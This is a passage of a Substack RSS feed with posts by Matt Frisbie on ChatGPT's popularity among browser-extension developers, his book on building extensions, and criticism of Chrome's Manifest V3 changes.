https://substackcdn.com/image/fetch/$s_!IdYJ!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F84060d30-e6c6-40e8-b493-9cf01027dc6c_2128x1352.webp 848w, https://substackcdn.com/image/fetch/$s_!IdYJ!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F84060d30-e6c6-40e8-b493-9cf01027dc6c_2128x1352.webp 1272w, https://substackcdn.com/image/fetch/$s_!IdYJ!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F84060d30-e6c6-40e8-b493-9cf01027dc6c_2128x1352.webp 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!IdYJ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F84060d30-e6c6-40e8-b493-9cf01027dc6c_2128x1352.webp" width="1456" height="925" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/84060d30-e6c6-40e8-b493-9cf01027dc6c_2128x1352.webp&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:925,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;ChatGPT prompt&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="ChatGPT prompt" title="ChatGPT prompt" srcset="https://substackcdn.com/image/fetch/$s_!IdYJ!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F84060d30-e6c6-40e8-b493-9cf01027dc6c_2128x1352.webp 424w, https://substackcdn.com/image/fetch/$s_!IdYJ!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F84060d30-e6c6-40e8-b493-9cf01027dc6c_2128x1352.webp 848w, https://substackcdn.com/image/fetch/$s_!IdYJ!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F84060d30-e6c6-40e8-b493-9cf01027dc6c_2128x1352.webp 1272w, https://substackcdn.com/image/fetch/$s_!IdYJ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F84060d30-e6c6-40e8-b493-9cf01027dc6c_2128x1352.webp 1456w" sizes="100vw"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><em><a href="https://chat.openai.com/chat">ChatGPT generating the previous paragraph</a></em></p><p>ChatGPT's meteoric ascent can be attributed to a handful of factors:</p><ol><li><p>A profound leap in sophistication from GPT3, <em>especially</em> the ability to understand very large input prompts</p></li><li><p>Free to use</p></li><li><p>A simple textual I/O interface - allowing for easy sharing, replication, and modification of LLM prompts</p></li><li><p>Allowing for unofficial API development and embedding</p></li></ol><p><em>OpenAI is brazenly encouraging developers to hack on the ChatGPT platform in order to unlock its full potential.</em></p><p>Unofficial API implementations such as <a href="https://github.com/transitive-bullshit/chatgpt-api">npm's chatgpt-api</a> or <a href="https://github.com/acheong08/ChatGPT">pip's revChatGPT</a> enabled thousands of developers to experiment with this amazing and novel tool. Furthermore, ChatGPT be embedded inside an iframe, allowing for browser extensions to place their chat interface directly inside the extension.</p><p><strong>This was not by accident: OpenAI did not have to allow these things.</strong> It would have been trivial to lock down their API and add an X-Frame-Options header to choke off these unsanctioned uses. Since launch, they have taken steps to regulate the automated use of the unofficial API, but it very clear that OpenAI is brazenly encouraging developers to hack on the ChatGPT platform in order to unlock its full potential.</p><p>Browser extensions have found a particularly nice pairing with ChatGPT. The <a href="https://developer.chrome.com/docs/extensions/reference/">WebExtensions API</a> includes an array of tools for marshaling text in an out of web pages, and OpenAI's permissive API allows for extensions to spoof the authenticated session and dispatch prompts directly to ChatGPT. This leads to an interesting new pattern where desktop ChatGPT users now always have a ChatGPT tab open, but multiple pieces of software are using that tab as a mouthpiece.</p><p>In the month since launch, ChatGPT has been used to build extensions for adding widgets on search engines, analyzing and writing emails, composing code and browser scripts, scraping and extracting formatted data from pages, summarizing articles, and composing posts for Twitter and LinkedIn. It's difficult to ignore the fact that Microsoft's <a href="https://www.theinformation.com/articles/microsoft-and-openai-working-on-chatgpt-powered-bing-in-challenge-to-google">recent announcement</a> that it will incorporate ChatGPT into Bing directly mirrors the most widely installed ChatGPT Chrome extension <a href="https://chatgpt4google.com/">ChatGPT for Google</a>.</p><p>Though browser extensions have never been able to gain the dominace enjoyed by mobile apps, they still enjoy a healthy ecosystem: the Chrome Web Store features 180,000 extensions (compared to the Apple App Store's 1.8M). Over the past decade, mobile devices subsumed a large chunk of desktop traffic and users, yet the mobile form factor cannot hope to compete with the desktop format as a tool for everyday work and text composition - a domain where browser extensions and ChatGPT shine.</p>]]></content:encoded></item><item><title><![CDATA[Building a Chrome extension was too hard, so I wrote a book to make it easy.]]></title><description><![CDATA[Garbage documentation, stale examples, and manifest v3 woes all work against extension developers. "Building Browser Extensions" makes all that go away.]]></description><link>https://mattfrisbie.substack.com/p/building-browser-extensions-book</link><guid isPermaLink="false">https://mattfrisbie.substack.com/p/building-browser-extensions-book</guid><dc:creator><![CDATA[Matt Frisbie]]></dc:creator><pubDate>Wed, 23 Nov 2022 16:38:00 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/8bc2dc46-cd9d-4c3f-bc77-b610815a9b03_1182x1192.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>The world of browser extensions has far more than meets the eye. Consider the following:</p><ul><li><p>On average, 40% of internet users in the United States use an adblocker on any device; overwhelmingly, these adblockers take the form of browser extensions.&nbsp;</p></li><li><p>The tech company Honey, whose primary product is a browser extension, was acquired by PayPal in 2020 for $4 billion.&nbsp;</p></li><li><p>As of 2021, there were 1.8 million apps in Apple's App Store; the Chrome Web Store has 180,000 extensions.&nbsp;</p></li></ul><p>&nbsp;When I saw there were 0 relevant Amazon search results for "build chrome extension", I nearly fell out of my chair. I knew at once that this book must be written.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!tQl4!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2736ef2e-412d-4057-81c2-1760be9d90bb_1298x998.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!tQl4!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2736ef2e-412d-4057-81c2-1760be9d90bb_1298x998.png 424w, https://substackcdn.com/image/fetch/$s_!tQl4!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2736ef2e-412d-4057-81c2-1760be9d90bb_1298x998.png 848w, https://substackcdn.com/image/fetch/$s_!tQl4!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2736ef2e-412d-4057-81c2-1760be9d90bb_1298x998.png 1272w, https://substackcdn.com/image/fetch/$s_!tQl4!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2736ef2e-412d-4057-81c2-1760be9d90bb_1298x998.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!tQl4!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2736ef2e-412d-4057-81c2-1760be9d90bb_1298x998.png" width="1298" height="998" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/2736ef2e-412d-4057-81c2-1760be9d90bb_1298x998.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:998,&quot;width&quot;:1298,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:531724,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!tQl4!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2736ef2e-412d-4057-81c2-1760be9d90bb_1298x998.png 424w, https://substackcdn.com/image/fetch/$s_!tQl4!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2736ef2e-412d-4057-81c2-1760be9d90bb_1298x998.png 848w, https://substackcdn.com/image/fetch/$s_!tQl4!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2736ef2e-412d-4057-81c2-1760be9d90bb_1298x998.png 1272w, https://substackcdn.com/image/fetch/$s_!tQl4!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2736ef2e-412d-4057-81c2-1760be9d90bb_1298x998.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><a href="https://www.amazon.com/Building-Browser-Extensions-Create-Firefox/dp/148428724X/?maas=maas_adg_DD6BEC882C2389AFF44D0C6394CF29E8_afap_abs&amp;ref_=aa_maas&amp;tag=maas">Building Browser Extensions: Create Modern Extensions for Chrome, Safari, Firefox, and Edge</a> covers all the knowledge you will need to write cross-browser extensions with the latest web development tools. Browser extensions are given access to extremely powerful APIs. I believe most developers are blind to that power -and unaware of just how much it is within their reach.&nbsp;<br><br>This book is designed to enlighten web developers and illuminate the true potential of the browser extension software platform. It is geared for developers who have experience building websites and can apply their knowledge to a new software domain. This book is not ideal for people new to programming - it would be like an inexperienced cook starting off by learning to make a sauce.<br><br>A major barrier to developing browser extensions is the appalling status quo of documentation. The fragmentation between different browsers and different manifest versions turns slogging through the documentation into a mind-numbingly onerous affair. I wrote this book specifically to address this problem. The reader will learn what is possible with the APIs, how they can best be applied, and all the traps to avoid. The book is not intended to replace the API documentation, as it is changing all the time. Instead, it is intended to supplement the API documentation; the book has plenty of direct links to the Chrome Developers and MDN sites throughout.<br>The transition to manifest v3 is upon us, and already it is causing problems. If you are confused about what manifest v3 is, what are its implications, and how best to navigate the ongoing transition, this book is for you. I dedicated an entire chapter to the manifest v2/v3 transition.<br><br>The lingua franca of web development is React, and this book gives special attention to the best ways in which you can write a browser extension in React. It also covers all the supplemental tools you'll need along the way, such as Webpack, Parcel, and Plasmo.<br><br>Like many developers, I learn by example. I was annoyed that so many APIs listed in the documentation were totally inscrutable. For example, the omnibox API is amazing and incredibly useful, but the documentation on how to use it is garbage. I just wanted a simple example to pick apart and play with, and there was nothing to be found. To fill this need, I created a companion extension for the book: Browser Extension Explorer. It's an open source browser extension with dozens of interactive demos. Each demo shows how various browser extension pieces and APIs work, and each includes links to the specific source files so you can see how it was built.</p><div><hr></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!eMwD!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F47b3bd23-3f2a-4975-acdf-e1d312fc8875_2866x1396.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!eMwD!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F47b3bd23-3f2a-4975-acdf-e1d312fc8875_2866x1396.png 424w, https://substackcdn.com/image/fetch/$s_!eMwD!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F47b3bd23-3f2a-4975-acdf-e1d312fc8875_2866x1396.png 848w, https://substackcdn.com/image/fetch/$s_!eMwD!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F47b3bd23-3f2a-4975-acdf-e1d312fc8875_2866x1396.png 1272w, https://substackcdn.com/image/fetch/$s_!eMwD!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F47b3bd23-3f2a-4975-acdf-e1d312fc8875_2866x1396.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!eMwD!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F47b3bd23-3f2a-4975-acdf-e1d312fc8875_2866x1396.png" width="1456" height="709" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/47b3bd23-3f2a-4975-acdf-e1d312fc8875_2866x1396.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:709,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:603956,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!eMwD!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F47b3bd23-3f2a-4975-acdf-e1d312fc8875_2866x1396.png 424w, https://substackcdn.com/image/fetch/$s_!eMwD!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F47b3bd23-3f2a-4975-acdf-e1d312fc8875_2866x1396.png 848w, https://substackcdn.com/image/fetch/$s_!eMwD!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F47b3bd23-3f2a-4975-acdf-e1d312fc8875_2866x1396.png 1272w, https://substackcdn.com/image/fetch/$s_!eMwD!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F47b3bd23-3f2a-4975-acdf-e1d312fc8875_2866x1396.png 1456w" sizes="100vw"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://www.amazon.com/Building-Browser-Extensions-Create-Firefox/dp/148428724X/?maas=maas_adg_DD6BEC882C2389AFF44D0C6394CF29E8_afap_abs&amp;ref_=aa_maas&amp;tag=maas&quot;,&quot;text&quot;:&quot;GET IT NOW&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://www.amazon.com/Building-Browser-Extensions-Create-Firefox/dp/148428724X/?maas=maas_adg_DD6BEC882C2389AFF44D0C6394CF29E8_afap_abs&amp;ref_=aa_maas&amp;tag=maas"><span>GET IT NOW</span></a></p><p></p>]]></content:encoded></item><item><title><![CDATA[Chrome's Manifest V3 Push Signals Changing of the Guard]]></title><description><![CDATA[The updated version is hostile to extension developers and users, and this shared adversity may prove to be a powerful catalyst.]]></description><link>https://mattfrisbie.substack.com/p/chrome-manifest-v3-push</link><guid isPermaLink="false">https://mattfrisbie.substack.com/p/chrome-manifest-v3-push</guid><dc:creator><![CDATA[Matt Frisbie]]></dc:creator><pubDate>Sun, 02 Oct 2022 14:35:00 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/49de934a-5a92-4b93-a4e5-291f59daf4fe_2036x1150.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Following the initial manifest V3 <a href="https://blog.chromium.org/2018/10/trustworthy-chrome-extensions-by-default.html">announcement</a> in 2018, browser extension developers did not take long to figure out that manifest V3 makes browser extensions less useful, less powerful, and harder to build.</p><ul><li><p>The blocking WebRequest API, which <a href="https://adguard.com/en/blog/how-ad-blocking-is-done.html">all V2 ad blockers use</a>, is swapped out for an inferior DeclarativeNetRequest API.</p></li><li><p>V2 background pages &#8212; headless webpages that could persist indefinitely &#8212; are replaced by service workers that <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=1152255">cannot persist indefinitely</a> without <a href="https://stackoverflow.com/questions/66618136/persistent-service-worker-in-chrome-extension/66618269#66618269">ugly hacks</a>.</p></li><li><p>V3 extensions lose the ability to execute remote code: no inline scripts, scripts loaded from remote URLs, or userscripts. (<a href="https://github.com/Tampermonkey/tampermonkey/issues/644">Userscript extensions may still be saved.</a>)</p></li></ul><p>Chrome is well-positioned to steer browser extensions toward its vision for manifest V3. Chromium browsers (Chrome, Edge, Opera) make up <a href="https://gs.statcounter.com/browser-market-share/desktop/worldwide/2022">over 80%</a> of worldwide desktop internet traffic, and with <a href="https://www.debugbear.com/blog/counting-chrome-extensions">180,000 extensions</a> the Chrome Web Store is by far the largest extension marketplace.</p><p>Manifest V3's chaotic rollout left the extension developer community with a bad <a href="https://twitter.com/gorhill/status/1134127701583904770">taste</a> <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=1152255">in</a> <a href="https://groups.google.com/a/chromium.org/g/chromium-extensions/c/xQmZLc8cu6Q">its</a> <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=1135492">mouth</a>. Advertising-averse users will be quick to notice the diminshed efficacy of ad blockers. With Mozilla's recent <a href="https://blog.mozilla.org/addons/2021/05/27/manifest-v3-update/">announcement</a> that it will continue to support the blocking WebRequest API, aggrieved developers and users now have an obvious refuge.</p><p>Meanwhile, the mobile extension landscape is shifting. In 2020, Apple <a href="https://support.apple.com/en-us/HT212788">added support</a> for browser extensions in iOS Safari. Though developers may balk at publishing browser extensions in the App Store, Apple is advancing browser extensions by bringing them to the most popular mobile browser. Chrome for Android does not support browser extensions, and there is no indication it ever will.</p><p>Chrome remains the hegemon of the browser world, so it is difficult to imagine it being unseated. Internet Explorer once enjoyed a similar dominant market share, but the speed of the exodus was shockingly quick.</p>]]></content:encoded></item></channel></rss>